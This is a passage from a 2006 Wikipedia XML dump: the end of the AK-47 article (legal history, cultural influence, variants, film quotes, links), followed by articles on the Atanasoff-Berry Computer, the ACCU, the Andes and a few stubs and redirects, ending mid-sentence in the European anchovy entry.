Certain [[semi-automatic]] AK-47 models were banned by the now-expired [[Federal assault weapons ban]] of 1994&amp;ndash;2004. A semi-automatic rifle, similar externally to the AK-47 but operably identical to many hunting rifles, was used in a much publicized 1989 shooting in a [[Stockton, California]], schoolyard, and in the 1993 murders outside of the [[Langley, Virginia]], headquarters of the [[Central Intelligence Agency]] (see [[Mir Amir Kansi]]).  Another much-publicized use of the AK-47 in the United States happened when bank robbers exchanged fire with police after a botched robbery.  The [[North Hollywood shootout]] involved AK-47's that were illegal to possess.  Ignoring the law while committing numerous other felonies, both assailants were shot and died at the scene.  Citing these tragedies, gun control advocates lobbied for strict controls on military-style semi-automatic firearms even though most criminals do not buy their weapons legally.

==Cultural influence==
[[Image:Coat_of_arms_of_Mozambique.png|thumb|right|200px|Coat of arms of [[Mozambique]]]]

The AK-47 and its derivatives are favored by many non-[[Western world|West]]ern powers because of their ease of use, robustness, simplicity, and manufacturing cost effectiveness. Estimates for production range over 100 million units. During most of the [[Cold War]], the Soviet Union and China followed a military assistance program, supplying their arms and technical knowledge to numerous countries.  In addition, another policy saw the supply of weapons, free of charge, to pro-communist fighters such as the [[Sandinistas]] and [[Viet-Cong]].  This policy was mirrored in the West, with the United States providing arms to such groups as the Afghan [[Mujahideen]].

The broad proliferation of this weapon is reflected by more than just its numbers.  The AK-47 is included in the [[Mozambique]] flag and [[coat of arms]] (formerly also in [[Burkina Faso]] coat of arms) and the [[Hizballah]] flag. &quot;[[Kalash]]&quot;, a shortened form of &quot;[[Kalashnikov]]&quot;, is used as a name for boys in some African countries.  Moreover, moviemakers who arm cinema terrorists, gang members (e.g. films like ''[[Boyz N The Hood]]''), and &quot;bad guys&quot; in general with AK-47s add much to the weapon's cultural mystique.  Numerous computer and video games feature AK-47s. The weapon is used as a backdrop for reporters during Terrorism news stories.  Fiction writers are also quick to arm their characters with the weapon.

The sheer ubiquity of the AK-47, its iconography, the fact that it possesses easily the most distinguishable weapon outline, and its nefarious association with violent conflict will ensure a significant and conspicuous impact on society.

[[Image:Far-sol-gas.jpg|thumb|right|280px|[[Cuban Revolutionary Armed Forces]] armed with AK-47's, engaging in a training exercise]]

==Versions==
Kalashnikov variants include:
*'''AK-47 1948–51, 7.62 × 39 mm'''— the very earliest models had a stamped sheet metal receiver; now rare.
*'''AK-47 1952, 7.62 × 39 mm'''— has a milled receiver and wooden buttstock and handguard. Barrel and chamber are chrome plated to resist corrosion. Rifle weight 4.2 kg.
*'''AKS-47'''— featured a downward-folding metal stock similar to that of the German [[MP40]], for use in the restricted space in the [[BMP]] infantry combat vehicle.
*'''[[RPK]] 7.62 × 39 mm'''— squad automatic rifle version with longer barrel and bipod.
*'''AKM 7.62 × 39 mm'''— a simplified, lighter version of the AK-47; receiver is made from stamped and riveted sheet metal. A slanted muzzle device was added to counter climb in automatic fire. Rifle weight 3.61 kg.
*'''AKMS 7.62 × 39 mm'''— folding-stock version of the AKM intended for [[airborne]] troops.
*'''[[AK-74]] series 5.45 x 39 mm'''— see [[AK-74|main article]] for details.

[[Image:000715-F-2829R-001.jpg|thumb|right|280px| A Romanian soldier aids a U.S. Marine in clearing an RPK during the weapons familiarization phase of [[Exercise Rescue Eagle 2000]] at Babadag Range, Romania, on July 15, 2000]]

==Other versions==
The AK-47 and its descendants are or have been manufactured in the following countries: [[Egypt]], [[China]], [[North Korea]], [[East Germany]], [[Poland]], [[Yugoslavia]] (as the M70 and M80 series), [[Romania]], [[Hungary]] (as AMD-63 and AMD-65), [[Iraq]], and [[Bulgaria]]. Certainly more have been produced elsewhere, but the above list represents major producers. An updated AKM design is still produced in Russia.

The basic design of the AK-47 has been used as the basis for other successful rifle designs such as the [[Finland|Finnish]] [[Rk 62|Valmet 62/76]], the [[Israel]]i [[Galil]], the [[India]]n [[INSAS]] and the Yugoslav [[Zastava (weapon)]] M76 and M77 and M77/82 (not to be confused with the [[Barrett]] [[M82 (rifle)|M82]]) rifles. Several [[bullpup]] designs have surfaced, although none have been produced in quantity.

==Quotes==
Yuri Orlov, the protagonist from the ''[[Lord of War]]'' film:
&lt;blockquote&gt;''Of all the weapons in the vast Soviet arsenal, nothing was more profitable than Avtomat Kalashnikova model of 1947. More commonly known as the AK-47, or Kalashnikov. It's the world's most popular assault rifle. A weapon all fighters love. An elegantly simple 9-pound amalgamation of forged steel and plywood. It doesn't break, jam, or overheat. It'll shoot whether it's covered in mud or filled with sand. It's so easy, even a child can use it; and they do. The Soviets put the gun on a coin. Mozambique put it on their flag. Since the end of the Cold War, the Kalashnikov has become the Russian people's greatest export. After that comes vodka, caviar, suicidal novelists. One thing is for sure, no one was lining up to buy their cars. [http://www.imdb.com/title/tt0399295/quotes]
&lt;/blockquote&gt;

Ordell Robbie, the protagonist from the film ''[[Jackie Brown]]'':

&lt;blockquote&gt;''There it is, the AK-47. When you absolutely, positively, have to kill every single motherfucker in the room; accept no substitute.'' [http://www.imdb.com/title/tt0119396/quotes]
&lt;/blockquote&gt;

==See also==
* [[List of modern armament manufacturers]]
* [[Civilian &quot;Cousins&quot; of the AK-47]]
* [[Comparison of the AK-47 and M16]]
* [[AK-74]]
* [[AK-101]]
* [[AK-103]]
* [[AK-107]] includes AK-108
* [[Chinese Type 56 Assault Rifle]]
* [[Karabinek-granatnik wz.1960]]

==References==
* Fackler et al. (1984). &quot;Wounding potential of the Russian AK-74 assault rifle&quot;, ''Journal of Trauma-Injury Infection &amp; Critical Care.'' '''24''', 263-6.
* Ezell, Edward Clinton (1986). ''The AK-47 Story: Evolution of the Kalashnikov Weapons.'' Mechanicsburg, PA: Stackpole Books. ISBN 0811709167. (Prior to his death, Ezell was the curator of military history at the [[Smithsonian Museum]].)
* ''[[Guinness Book of Records|Guinness World Records 2005]].'' ISBN 1892051222.

==External links==
* [http://www.izhmash.ru/eng manufacturer site]
* [http://www.sturmgewehr.com/bhinton/AK/ Buddy Hinton Collection / AK]
* [http://kalashnikov.guns.ru/ AK Site &amp;mdash; Kalashnikov Home Page]
* [http://www.enemyforces.com/firearms/ak47.htm AK-47 Assault Rifle]
* [http://www.everything2.com/index.pl?node_id=85766 AK-47@Everything2.com]
* [http://www.us.imdb.com/title/tt0254151/ Automat Kalaschnikow] film documented the man and his machine
* [http://www.milparade.com/kalashnikov/chapter9/09_15.shtml AK47S self-loading carbine (USA)]
* Home of the [http://www.ak-47.net/ AK-47] on the Internet.
* [http://www.sovietarmy.com/small_arms/ak-47.html AK-47 Assault rifle]  [http://www.sovietarmy.com/ (SovietArmy.com)]
* [http://www.nazarian.no/wep.asp?id=284&amp;group_id=5&amp;country_id=162&amp;lang=0 Nazarian`s Gun`s Recognition Guide]
*[http://world.guns.ru/ Modern Firearms]
* [http://www.sovietarmy.com/small_arms/akm.html AKM Assault Rifle] [http://www.sovietarmy.com/ (SovietArmy.com)]
*  [http://www.pbase.com/the_kampfer/image/47449546 animation of an AK-47 action in operation]

==Video links==
*[http://www.nazarian.no/wep.asp?id=284&amp;group_id=5&amp;country_id=162&amp;lang=0&amp;p=8 Nazarian's Gun's Recognition Guide (FILM) How AK47 Work Presentation (.Video clip)]
*[http://www.nazarian.no/wep.asp?id=284&amp;group_id=5&amp;country_id=162&amp;lang=0&amp;p=7 Nazarian's Gun's Recognition Guide (FILM) AK-47 Presentation (.swf)]
*[http://jardax.ethernet.cz/Gun/Video/ak47_slow.avi Kurzzeitmesstechnik Mehl Slow-Motion video of AK-47 action in operation (DivX Movie)]
*[http://www.carfield.com.hk/fun/classic/machine/How_AK47_Work.avi Bruce Canfield animation of AK-47 action in operation.]

==Manual==
*[http://www.nazarian.no/images/wep/284_US_Army_AK47.pdf Nazarian's Gun's Recognition Guide (MANUAL) AK 47 Manual (.pdf)]

[[Category:7.62 mm firearms]]
[[Category:Assault rifles]]
[[Category:Cold War weapons of the Soviet Union]]

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  </page>
  <page>
    <title>Atanasoff Berry Computer</title>
    <id>1349</id>
    <revision>
      <id>40590582</id>
      <timestamp>2006-02-21T17:54:41Z</timestamp>
      <contributor>
        <ip>12.108.99.34</ip>
      </contributor>
      <text xml:space="preserve">The '''Atanasoff-Berry Computer''' was the first electronic digital computer [http://www.cs.iastate.edu/jva/books/burks/overview.shtml] [http://en.wikipedia.org/wiki/ENIAC] and was a major step in the history of computing . It was built by [[John Vincent Atanasoff|Dr. John Vincent Atanasoff]] and [[Clifford E. Berry]] at [[Iowa State University]] during 1937-42. The Atanasoff-Berry Computer represented several innovations in computing, including a binary system of arithmetic, [[parallel processing]], [[DRAM|regenerative memory]], and a separation of memory and computing functions. It is sometimes referred to by its initials, ABC. John Vincent Atanasoff was awarded the [[National Medal of Technology]] by President [[George H. W. Bush]] in a Ceremony at the White House on November 13, 1990. 

[[Image:ABC.GIF|thumb|300px|]] The Atanasoff-Berry Computer, constructed in the basement of the Physics building at Iowa State University, took over two years to complete due to lack of funds. The prototype was first demonstrated in November of 1939. The computer weighed more than seven hundred pounds (320 kg). It contained approximately 1 mile (1.6 km) of wire, 280 dual-triode [[vacuum tube]]s, 31 [[thyratron]]s, and was about the size of a desk.

It was not a [[Turing complete]] computer, which distinguishes it from later, more general machines, such as the 1946 [[ENIAC]], 1949 [[EDVAC]], the [[Victoria University of Manchester|University of Manchester]] designs, or [[Alan Turing]]'s post-War designs at [[National Physical Laboratory|NPL]] and elsewhere.  Nor did it implement the [[stored program architecture]] that made practical fully general-purpose, reprogrammable computers.  

The machine was, however, the first to implement three critical ideas that are still part of every modern computer: 
#Using [[binary_numeral_system|binary]] digits to represent all numbers and data
#Performing all calculations using [[electronics]] rather than wheels, ratchets, or mechanical switches
#Organizing a system in which [[computation]] and [[computer storage|memory]] are separated.

In addition, the computer pioneered the use of regenerative capacitor memory, as in the [[DRAM]] still widely used today.

The memory of the Atanasoff-Berry Computer was a pair of drums, each containing 1600 [[capacitor]]s that rotated on a common shaft once per second. The capacitors on each drum were organized into 32 &quot;bands&quot; of 50 (30 active bands and 2 spares in case a capacitor failed), giving the machine a speed of 30 additions/subtractions per second. Data was represented as 50-bit binary fixed point numbers. The electronics of the memory and arithmetic units could store and operate on 60 such numbers at a time (3000 bits). 

The [[alternating current|AC]] power line frequency of 60 [[Hertz|Hz]] was the primary clock rate for the lowest level operations.

The logic functions were fully electronic, implemented with vacuum tubes. The family of [[logic gates]] ranged from inverters to two and three input gates. The input and output levels and operating voltages were compatible between the different gates. Each gate consisted of one inverting vacuum tube amplifier, preceded by a resistor divider input network that defined the logical function. 

Although the Atanasoff-Berry Computer was an important step up from earlier computing machines, it was not a ''[[stored program]] computer''. An operator was needed to operate the control switches to set up its functions, much the way [[Booting|boot]] programs would be entered in later computers. Selection of the operation to be performed, reading, writing, converting to or from binary to decimal, or reducing a set of equations was made by front panel switches and in some cases jumpers.

There were two forms of input and output. Primary user input and output and an intermediate results output and input. The intermediate results storage allowed operation on problems too large to be handled entirely within the electronic memory. 

Intermediate results were written onto paper sheets by electrostatically modifying the resistance at 1500 locations to represent 30 of the 50 bit numbers. Each sheet could be written or read in one second. The reliability of the system was limited to about 1 error in 100,000 calculations by these units, primarily attributed to lack of control of the sheets' material characteristics. In retrospect a solution could have been to add a parity bit to each number as written. This problem was not solved by the time Atanasoff left the university for war-related work. 

Primary user input was via standard [[punched card]]s and output via a front panel display.

The ABC was designed for a fairly specific purpose, the solution of systems of simultaneous linear equations. It could handle systems with up to twenty-nine equations, which was large for the time. Problems of this scale were becoming common in physics, the department in which John Atanasoff worked.  Basically, it could be fed two linear equations with up to twenty-nine variables and a constant term and eliminate one of the variables.  This process would have to be repeated manually for each of the equations, which would result in a system of equations with one fewer variables.  Then the whole process would have to be repeated to eliminate another variable.

The initial funds to start development and demonstrate the circuits involved was from the [[Agronomy]] department which was also interested in such problems for economic and research analysis. Further funding to complete the machine came from [[Research Corporation]] of America, in [[New York]].

Presper Eckert and John Mauchly were the first to patent a digital computing device, their [[ENIAC]] computer. ABC had been examined by [[John Mauchly]] in June [[1941]], and is alleged to have influenced his later work on ENIAC, although Mauchly denied this. In [[1967]] [[Honeywell]] started a court case against Sperry Rand in an attempt to break their patent, based on the ABC being [[prior art]]. The court released its final judgement on October 19, 1973. In [http://www.cs.iastate.edu/jva/court-papers/ Sperry Rand Vs. Honeywell] the court voided the ENIAC patent as a derivative of John Atanasoff's invention. The decision was not appealed.

Atanasoff was quite generous in stating, &quot;there is enough credit for everyone in the invention and development of the electronic computer.&quot; Eckert and Mauchly received most of the credit for inventing the first electronic-digital computer. Historians now say that the Atanasoff-Berry computer was the first.

The original ABC was eventually dismantled, when the University converted the basement to classrooms, and all of its pieces except for one memory drum were discarded. In [[1997]], a team of researchers from [[Ames Laboratory]] (located on the Iowa State campus) finished building a working replica of the Atanasoff-Berry Computer for a cost of $350,000. This replica dispelled any doubt over whether or not the ABC actually could perform the tasks it was designed to do. The new ABC is now on permanent display in the first floor lobby of the Durham Center for Computation and Communication at Iowa State University.

==See also==
* [[History of computing hardware]]

==References==
* Anthony Ralston and Edwin D. Reilly (ed), '' Encyclopedia of Computer Science, 3rd Ed. '', 1993, Van Nostrand Reinhold, New York ISBN 0442276796
* [[Clark R. Mollenhoff]], ''Atanasoff: Forgotten Father of the Computer'', [[1988]], ISBN 0-8138-0032-3

==External links==
*[http://www.cs.iastate.edu/jva/jva-archive.shtml The Birth of the ABC]
*[http://www.scl.ameslab.gov/ABC/ Rebuilding the ABC]
*[http://www.scl.ameslab.gov/Projects/ABC/Trial.html The ENIAC patent trial]
*[http://www.cbi.umn.edu/collections/inv/cbi00001.html Honeywell, Inc., Honeywell vs. Sperry Rand Records, 1846-1973]

[[Category:Early computers]]
[[Category:History of computing]]
[[Category:One-of-a-kind computers]]
[[Category:Iowa State University]]

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    </revision>
  </page>
  <page>
    <title>A Midsummer Nights Dream</title>
    <id>1350</id>
    <revision>
      <id>15899839</id>
      <timestamp>2002-03-07T01:05:10Z</timestamp>
      <contributor>
        <username>Eclecticology</username>
        <id>372</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[A Midsummer Night's Dream]]</text>
    </revision>
  </page>
  <page>
    <title>Association of C and C++ Users</title>
    <id>1352</id>
    <revision>
      <id>33944428</id>
      <timestamp>2006-01-05T06:45:32Z</timestamp>
      <contributor>
        <username>Netoholic</username>
        <id>41995</id>
      </contributor>
      <minor />
      <comment>plus now allowed</comment>
      <text xml:space="preserve">The '''Association of C and C++ Users''' ('''ACCU''') is a worldwide organisation of people interested in programming languages. Originally, the association was primarily for [[C programming language|C]] programmers (it was then called the CUG), but it has since added [[C++]], [[C Sharp programming language|C#]], [[Java programming language|Java]], [[Perl]], and [[Python programming language|Python]] programmers to its membership. The long form of the organisation's name is thus historical and seldom used, the name '''ACCU''' is preferred.

Members of ACCU include professional programmers and companies as well as amateur programmers. The association is operated by a volunteer [[committee]], which is responsible for the organisation of an ACCU [[conference]] each spring in or near Oxford, as well as the publication of a number of journals.

The association has two types of membership: Regular membership provides access to the conferences and the association's principal journal, ''C Vu'', which contains articles, letters, and book reviews by members; Advanced membership additionally provides a subscription to ''Overload'', which is designed for more advanced programmers. Full-time students qualify for membership [[discount]]s.

==External links==
* [http://www.accu.org/ ACCU Official Site]
* [http://www.accu-usa.org/ ACCU Silicon Valley Chapter]

[[Category:C programming language family]]</text>
    </revision>
  </page>
  <page>
    <title>Andrew</title>
    <id>1353</id>
    <revision>
      <id>42116594</id>
      <timestamp>2006-03-03T22:55:13Z</timestamp>
      <contributor>
        <username>Sesel</username>
        <id>51623</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/86.134.6.147|86.134.6.147]] ([[User talk:86.134.6.147|talk]]) to last version by Tailpig</comment>
      <text xml:space="preserve">{{Wiktionarypar|Andrew}}
'''Andrew''' is an [[English language|English]] [[male]]'s [[personal name]].  For its meanings, etymology, pronunciation, and translations, see Wiktionary. 
People commonly known solely by the given name '''Andrew''' include:
*[[Saint Andrew]]
*[[Andrew I of Hungary]]
*[[Andrew II of Hungary]]
*[[Prince Andrew, Duke of York]]
Things commonly known as '''Andrew''' include:
*[[Andrew Project]] - [[Carnegie Mellon University]] computer project called &quot;Andrew&quot;
*[[Hurricane Andrew]] - A strong [[Tropical cyclone|hurricane]] in [[1992]].

== See also ==
* [[Andrea]]
*[[Saint Andrew's Cross]]
*[[St Andrew's Cross spider]]
*[[Androgen]]
* [[Drew]]


{{disambig}}

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[[el:Ανδρέας (Όνομα)]]
[[eo:Andreo]]
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[[pl:Andrzej]]
[[ru:Андрей]]
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  </page>
  <page>
    <title>Andes</title>
    <id>1354</id>
    <revision>
      <id>42078925</id>
      <timestamp>2006-03-03T18:00:33Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.39.1.140|24.39.1.140]] ([[User talk:24.39.1.140|talk]]) to last version by RexNL</comment>
      <text xml:space="preserve">{{Otherusesabout|the mountain system in South America}}
[[Image:Andes Chile Argentina.jpg|thumb|300px|The Andes between [[Chile]] and [[Argentina]]]]
[[Image:Nasa_anden.jpg|thumb|200px|right|Computer generated image of the Andes, made from a [[digital elevation model]] with a resolution of 30 [[arcsecond]]s]]
The '''Andes''' is a vast [[mountain range]] forming a continuous chain of highland along the western coast of [[South America]]. It is roughly [[1_E6_m|7,000 km]] (4,400&amp;nbsp;miles) long, [[1_E5_m|500 km]] (300&amp;nbsp;miles) wide in some parts (widest between 18° to 20°S latitude), and of an average height of about [[1_E3_m|4,000 m]] (13,000 feet). 

The Andean range is composed principally of two great chains separated by a deep intermediate [[depression (geology)|depression]], in which arise other chains of minor importance, the chief of which is [[Chile]]'s [[Cordillera de la Costa]].  Other small chains arise on the sides of the great chains. The ''Cordillera de la Costa'' starts from the southern extremity of the continent and runs in a northerly direction, parallel with the coast, being broken up at its beginning into a number of islands and afterwards forming the western boundary of the great central valley of Chile.  To the north this coastal chain continues in small ridges or isolated hills along the [[Pacific Ocean]] as far as [[Venezuela]], always leaving the same valley more or less visible to the west of the western great chain. The mountains extend over seven countries: [[Argentina]], [[Bolivia]], [[Chile]], [[Colombia]], [[Ecuador]], [[Peru]] and [[Venezuela]].

The Andes range is the highest mountain range outside Asia, with the highest peak, [[Aconcagua]], rising to 6,959 m (23,000 feet) [[above sea level]]. The summit of [[Mount Chimborazo]] in the Ecuadorean Andes is the point on the Earth's surface most distant from its center, because of the [[equatorial bulge]]. The Andes cannot match the [[Himalaya]] in height but do so in width and are more than twice as long.

==Physical features==
===Geology===
The formation of the Andes extends into the [[Paleozoic]] Era, when [[terrane]] accretion was the dominant process. It was during the [[Cretaceous]] Period that the Andes began to take their present form, by the uplifting, [[Fault (geology)|faulting]] and [[Fold (geology)|folding]] of [[sedimentary rocks|sedimentary]] and [[metamorphic rocks]] of the ancient [[craton]]s to the east. Tectonic forces along the [[subduction zone]] along the entire west coast of South America where the [[Nazca Plate]] and a part of the [[Antarctic Plate]] are sliding beneath the [[South American Plate]] continue to produce an ongoing [[Orogeny|orogenic event]] resulting in minor to major earthquakes and volcanic eruptions to this day. In the extreme south a major [[transform fault]] separates [[Tierra del Fuego]] from the small [[Scotia Plate]]. Across the 1,000&amp;nbsp;km wide [[Drake Passage]] lie the mountains of the [[Antarctic Peninsula]] south of the Scotia Plate which appear to be a continuation of the Andes chain. 

The Andes range has many active volcanoes, the most famous being [[Cotopaxi]], one of the highest active volcanos in the world.

The Andes can be divided into three sections: the Southern Andes in Argentina and Chile; the Central Andes, including the Chilean and Peruvian cordilleras; and the northern section in Venezuela, Colombia, and northern Ecuador consisting of two parallel ranges, the Cordillera Occidental and the Cordillera Oriental. The term ''cordillera'' comes from the Spanish word meaning 'rope'. The Andes range is approximately 200&amp;ndash;300&amp;nbsp;km wide throughout its length, except in the Bolivian flexure where it is 640&amp;nbsp;km wide [http://www.andes.org.uk/andes-information-files/famous-andes-peaks.htm] [http://www.bartleby.com/65/co/Cotopaxi.html].

===Climate===
The climate in the Andes varies greatly depending on location, altitude, proximity to the sea. The southern section is rainy and cool, the central Andes are dry. The northern Andes are typically rainy and warm, with an average temperature of 18&amp;nbsp;°C in Colombia. The climate is known to change drastically. [[Tropical rainforest]]s exist just miles away from the snow covered peak, Cotopaxi. The mountains have a large effect on the temperatures of nearby areas. The [[snow line]] depends on the location. It is at between 4,500&amp;ndash;4,800&amp;nbsp;m in the tropical Ecuadorian, Colombian, Venezuelan, and northern Peruvian Andes, rising to 4,800&amp;ndash;5,200&amp;nbsp;m in the drier mountains of southern Peru south to northern Chile south to about 30°S, then descending to 4,500&amp;nbsp;m on Aconcagua at 32°S, 2,000&amp;nbsp;m at 40°S, 500&amp;nbsp;m at 50°S, and only 300&amp;nbsp;m in [[Tierra del Fuego]] at 55°S; from 50°S, several of the larger glaciers descend to sea level ([[Google Earth]] images).
[[Image:andes - punta arenas.jpg|thumb|left|View of the mountains in the countryside just outside of [[Punta Arenas, Chile]].]]

===Plant and animal life===
[[Tropical rainforests]] encircle the northern Andes. The [[cinchona]], a source of [[quinine]] which is used to treat malaria, is found in the Bolivian Andes. The high-altitude ''[[Polylepis]]'' forests are present in the Andean areas of Ecuador, Peru and Bolivia. The trees, Queñua, Yagual, Quinua and other names that local people use to call them, can be found at altitudes of 4,500&amp;nbsp;m above sea level. Once abundant, the forests began disappearing during the Incan period when much of it was used for building material and cooking fuel. The trees are now considered to be highly endangered with only 10 percent of the original forests remaining [http://www.blueplanetbiomes.org/andes_climate_page.htm].

The [[llama]] can be found living at high altitudes, predominantly in the Peru and Bolivia. The alpaca, a type of llama, is raised for its wool. The nocturnal [[chinchilla]], an endangered member of the [[rodent]] order, inhabits the Andes' alpine regions. The South American [[condor]] is the largest bird of its kind in the Western hemisphere. Other animals include the [[guemul]], [[puma]], [[camelids]] and, for birds, the [[partridge]], [[parina]], [[huallata]], and [[coot]]. Llamas and pumas play important roles in many Andean cultures.

==The people==
{{sect-stub}}

===Transportation===
The people of the Andes are not well connected with the city.  Due to the arduous terrain, vehicles are discouraged.  People generally walk to their destinations, using the llama as their primary pack animal.

===Agriculture===
The ancient peoples of the Andes such as the Incas have practiced irrigation techniques for over 6,000 years.  Because of the mountain slopes, terracing has been a common practice.  Maize and barley were important crops for these people.  Currently, tobacco, cotton and coffee are the main export crops.  The potato holds a very important role as an internally consumed crop.

By far the most important plant in terms of history and culture is coca, the leaves of which have been central to the Andean people for centuries. Coca has been a staple dietary supplement and cornerstone to Andean culture throughout much of its history.

===Mining===
Mining is quite prosperous in the Andes, with iron, gold, silver and copper being the main production minerals.  The Andes are reputed to be one of the most important sources of these minerals in the world.

==Peaks==
This is a partial listing of the major peaks in the Andes mountain range&amp;mdash;typically 5 km or more in height.
{{wrapper}}
|[[Image:Licancabur.jpg|thumb|right|200px|[[Licancabur]], Bolivia/Chile]]
|-
|[[Image:Llullaillaco.jpg|thumb|right|200px|[[Llullaillaco]], Chile/Argentina]]
|-
|[[Image:Aconcagua - Argentina - January 2005 - by Sergio Schmiegelow.jpg|thumb|right|200px|[[Aconcagua]], Argentina]]
|-
|[[Image:Chimborazo from southwest.jpg|thumb|right|200px|[[Chimborazo]], Ecuador]]
|-
|[[Image:Alpamayo.jpg|thumb|right|200px|[[Alpamayo]], Peru]]
|-
|[[Image:El misti.jpg|thumb|right|200px|[[El Misti]], Peru]]
|-
|[[Image:Huascaran.jpg|thumb|right|200px|[[Huascarán]], Peru]]
|}
===Bolivia===
* [[Ancohuma]], 6,427 m
* [[Cabaray]], 5,860 m
* [[Chacaltaya]], 5,421 m
* [[Huayna Potosí]], 6,088 m
* [[Illampu]], 6,368 m
* [[Illimani]], 6,438 m
* [[Macizo de Larancagua]], 5,520 m
* [[Macizo de Pacuni]], 5,400 m
* [[Nevado Anallajsi]], 5,750 m
* [[Nevado Sajama]], 6,542 m
* [[Patilla Pata]], 5,300 m
* [[Tata Sabaya]], 5,430 m

===Bolivia/Chile===
* [[Cerro Minchincha]], 5,305 m
* [[Irruputuncu]], 5,163 m
* [[Licancabur]], 5,920 m
* [[Olca]], 5,407 m
* [[Paruma]], 5,420 m
* [[Pomerape]], 6,348 m

===Chile/Argentina===
* [[Aconcagua]], 6,962 m
* [[Acotango]], 6,052 m
* [[Cerro Bayo]], 5,401 m
* [[Cerro Escorial]], 5,447 m
* [[Cordón del Azufre]], 5,463 m
* [[Falso Azufre]], 5,890 m
* [[Lastarria]], 5,697 m
* [[Llullaillaco]], 6,739 m
* [[Maipo (volcano)|Maipo]], 5,264 m
* [[Marmolejo]], 6110 m
* [[Ojos del Salado]], 6,893 m
* [[Olca]], 5,407 m
* [[Parinacota]], 6,348 m
* [[Monte Pissis | Pissis]], 6,795 m
* [[Sierra Nevada de Lagunas Bravas]], 6,127 m
* [[Socompa]], 6,051 m

===Colombia===
* [[Galeras]], 4,276 m
* [[Nevado del Ruiz]], 5,389 m

===Ecuador===
* [[Antisana]], 5,753 m
* [[Cayambe (volcano)|Cayambe]], 5,790 m
* [[Chimborazo (volcano)|Chimborazo]], 6,267 m
* [[Corazón]], 4,790 m
* [[Cotopaxi]], 5,897 m
* [[El Altar]], 5,320 m
* [[Illiniza]], 5,248 m
* [[Pichincha (volcano)|Pichincha]], 4,784 m
* [[Reventador]], 3,562 m
* [[Sangay]], 5,230 m
* [[Tungurahua]], 5,023 m

===Peru===
* [[Alpamayo]], 5,947 m
* [[Carnicero]], 5,960 m
* [[El Misti]], 5,822 m
* [[El Toro (Andes)|El Toro]], 5,830 m
* [[Huascarán]], 6,768 m
* [[Jirishanca]], 6,094 m
* [[Rasac]], 6,040 m
* [[Rondoy]], 5,870 m
* [[Sarapo]], 6,127 m
* [[Seria Norte]], 5,860 m
* [[Siula Grande]], 6,344 m
* [[Yerupaja]], 6,635 m
* [[Yerupaja Chico]], 6,089 m

==Suggested reading==
{{sect-stub}}

==External links==
{{commons|Andes}}
*[http://www.photoglobe.info/db_merced/ PhotoGlobe: Andes around Mt. Mercedario]
*[http://www.geo.arizona.edu/geo5xx/geo527/Andes/intro.html Andes geology Arizona Edu.]
*[http://www.blueplanetbiomes.org/andes_climate_page.htm Climate and animal life of the Andes]
*[http://www.ancientperu.com/ Civilizations of Ancient Peru]

[[Category:Mountain ranges]]
[[Category:Mountains of South America]]

[[ar:أنديز]]
[[be:Анды]]
[[bg:Анди]]
[[ca:Andes]]
[[cs:Andy]]
[[da:Andesbjergene]]
[[de:Anden]]
[[es:Andes]]
[[eo:Andoj]]
[[eu:Andeak]]
[[fr:Cordillère des Andes]]
[[gl:Andes]]
[[ko:안데스 산맥]]
[[ia:Andes]]
[[is:Andesfjöll]]
[[it:Ande]]
[[he:הרי האנדים]]
[[la:Andes]]
[[lv:Andi]]
[[lt:Andai]]
[[mk:Анди]]
[[nl:Andes (gebergte)]]
[[ja:アンデス山脈]]
[[no:Andes]]
[[nn:Andes]]
[[pl:Andy]]
[[pt:Cordilheira dos Andes]]
[[ru:Анды]]
[[simple:Andes]]
[[sl:Andi]]
[[sr:Анди]]
[[fi:Andit]]
[[sv:Anderna]]
[[th:เทือกเขาแอนดีส]]
[[uk:Анди]]
[[zh:安地斯山脈]]</text>
    </revision>
  </page>
  <page>
    <title>Anderida</title>
    <id>1355</id>
    <revision>
      <id>42054031</id>
      <timestamp>2006-03-03T14:06:28Z</timestamp>
      <contributor>
        <username>Neddyseagoon</username>
        <id>883252</id>
      </contributor>
      <comment>Merge</comment>
      <text xml:space="preserve">#redirect [[Pevensey Castle]]</text>
    </revision>
  </page>
  <page>
    <title>Ancylopoda</title>
    <id>1356</id>
    <revision>
      <id>40207398</id>
      <timestamp>2006-02-18T23:34:02Z</timestamp>
      <contributor>
        <username>Aranae</username>
        <id>135342</id>
      </contributor>
      <comment>rvt</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Ancylopods
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammalia]]
| ordo = [[Perissodactyla]]
| superfamilia = '''Chalicotherioidea'''
}}
'''Ancylopoda''', is a group of [[mammal]]s in the [[Perissodactyla]] that show long, curved and [[cleft]] [[claw]]s. [[Morphology (biology)|Morphological]] evidence indicates the Ancylopoda diverged from the [[tapir]]s, [[rhinoceros]]es and [[horse]]s ([[Euperissodactyla]]) after the [[Brontotheria]], however earlier authoritites such as [[Osborn]] sometimes considered the Ancylopoda to be outside Perissodactyla or, as was popular more recently,  to be related to [[Brontotheria]].

{{paleo-stub}}
{{mammal-stub}}
[[Category:Odd-toed ungulates]]</text>
    </revision>
  </page>
  <page>
    <title>European anchovy</title>
    <id>1357</id>
    <revision>
      <id>37290056</id>
      <timestamp>2006-01-30T01:14:09Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = European anchovy
| image = anchovy-thumbnail.jpg
| image_caption = [[media:anchovy.jpg|''Original image'']]
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Actinopterygii]]
| ordo = [[Clupeiformes]]
| familia = [[Engraulidae]]
| genus = '''''[[Engraulis]]'''''
| species = '''''E. encrasicholus'''''
| binomial = ''Engraulis encrasicholus''
| binomial_authority = [[Carolus Linnaeus|Linnaeus]], 1758
}}
The '''European anchovy''' (''Engraulis encrasicholus'') is a [[fish]] somewhat related to the [[herring]].  Anchovies are placed in the family [[Engraulidae]].

It is easily distinguished by its deeply-cleft mouth, the angle of the gape being behind the eyes.  The pointed snout extends beyond the lower jaw.  The fish resembles a sprat in having a forked tail and a single dorsal fin, but 
the body is round and slender.  The maximum length is 8 1/8 in.  

Anchovies are abundant in the [[Mediterranean]], and are 
